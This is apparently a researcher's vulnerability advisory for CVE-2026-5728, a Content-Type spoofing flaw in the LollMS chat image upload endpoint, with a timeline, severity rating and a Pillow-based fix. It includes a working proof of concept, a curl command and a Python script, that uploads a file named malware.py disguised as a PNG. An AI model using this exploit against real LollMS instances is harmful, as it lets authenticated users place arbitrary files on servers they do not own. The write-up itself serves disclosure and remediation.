CVE-2026-5728: Content-Type spoofing on LollMS chat image upload
$ curl -F 'files=@malware.py;type=image/png' \
-H 'Authorization: Bearer <token>' \
http://localhost:9642/api/upload/chat_image
# 200 OK; response still carries malware.py in filename / server_path
That response lands for real against vulnerable parisneo/lollms builds: the chat image upload endpoint trusts whatever MIME type the client puts on the multipart part. I reported this on December 29th, 2025; it sits in the same audit thread as CVE-2026-0558, CVE-2026-0560, and CVE-2026-0562. Those issues were about missing auth, SSRF, and IDOR. This one is different: you need a valid account, but once you have a token, the “images only” rule is cosmetic.
What breaks
POST /api/upload/chat_image is meant for attaching images before a chat message. In backend/routers/files.py (around line 787), the gate is a single check on Starlette’s UploadFile.content_type:
for file in files:
if not file.content_type.startswith("image/"):
raise HTTPException(status_code=400, detail="Only image files are allowed.")
# ... secure_filename, write to disk under user temp uploads
content_type comes from the multipart headers the client sends. It is not a server-side sniff of the body. There is no magic-byte check, no Pillow open/verify, no extension-to-content consistency rule beyond secure_filename on the original filename.
So a .py file (or anything else) passes as long as the part is labeled image/png or image/jpeg.
Severity in context
Huntr assigned MEDIUM with CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L): network reachable, low complexity, privileged (authenticated) user, no user interaction for the attack itself. Confidentiality is not the headline; integrity and availability of the upload path and disk are.
The scary part is not “PNG parser runs on Python bytes”. The real concern is what happens next. If anything in the pipeline treats paths under the upload tree as more than inert blobs (preview, conversion, shelling out, future feature that executes attachments), trusting the filename and folder layout becomes expensive. Even without code execution, two things stay on your plate: a caller can fill the disk with arbitrary content disguised as images, and the “images only” rule starts lying in your audit trail. Both land in incident response.
Proof of concept
Authenticated multipart upload with a spoofed part content type:
import requests
BASE_URL = "http://localhost:9642"
token = "..." # Bearer for an active user
endpoint = f"{BASE_URL}/api/upload/chat_image"
headers = {"Authorization": f"Bearer {token}"}
files = {
"files": ("malware.py", b"print('Malicious code executed!')", "image/png"),
}
response = requests.post(endpoint, headers=headers, files=files, timeout=10)
# Status: 200
# Body example: [{"filename":"malware.py","server_path":"35c13f76_malware.py"}]
Against a local LollMS instance: 200 OK, file written under the user’s temp uploads with the original extension preserved in the stored name pattern.
Remediation
Treat the header as a hint, not proof.
- Read the full body (once) and enforce a maximum size before decoding.
- Decode as an image with a real library, for example Pillow:
Image.open(BytesIO(data)), thenverify()to catch truncated or non-image payloads. If you need to resize or convert later, re-open from the same bytes afterverify(); Pillow’sverify()call leaves the object unusable for further transforms. - Optionally normalize output (e.g. re-encode to PNG or JPEG server-side) so what lands on disk is always a bitmap you produced, not opaque client bytes.
- Keep
secure_filename(or stronger normalization) and avoid serving uploads withContent-Disposition: attachmentsurprises from user-controlled names.
A minimal directionally correct handler shape:
from PIL import Image
import io
@upload_router.post("/chat_image", response_model=List[Dict[str, str]])
async def upload_chat_image(
files: List[UploadFile] = File(...),
current_user: UserAuthDetails = Depends(get_current_active_user),
):
temp_path = get_user_temp_uploads_path(current_user.username)
uploaded_files = []
for file in files:
content_bytes = await file.read()
if len(content_bytes) > 10 * 1024 * 1024:
raise HTTPException(status_code=400, detail="File too large.")
try:
img = Image.open(io.BytesIO(content_bytes))
img.verify()
img.close()
except Exception:
raise HTTPException(status_code=400, detail="Invalid image file.")
s_filename = secure_filename(file.filename)
unique_filename = f"{uuid.uuid4().hex[:8]}_{s_filename}"
file_path = temp_path / unique_filename
with open(file_path, "wb") as buffer:
buffer.write(content_bytes)
uploaded_files.append({"filename": s_filename, "server_path": unique_filename})
return uploaded_files
For production I would still re-encode to a fixed format and strip metadata unless you explicitly need originals. That closes a lot of “polyglot” and EXIF-side-channel issues the header check never touched.
Affected surface
Vulnerable while backend/routers/files.py still uses the content_type.startswith("image/") shortcut for /api/upload/chat_image. Check your installed commit against the vendor’s release notes. The fix lives in application code, not a dependency bump. If you pin to an older revision or run a fork, apply the Pillow check above by hand; nothing in the import graph will do it for you.
Disclosure timeline
- December 29, 2025: Reported via huntr.dev with PoC
- April 7, 2026: CVE-2026-5728 assigned and write-up published here
References
- CWE-434: Unrestricted Upload of File with Dangerous Type
- OWASP: Unrestricted File Upload
- Pillow documentation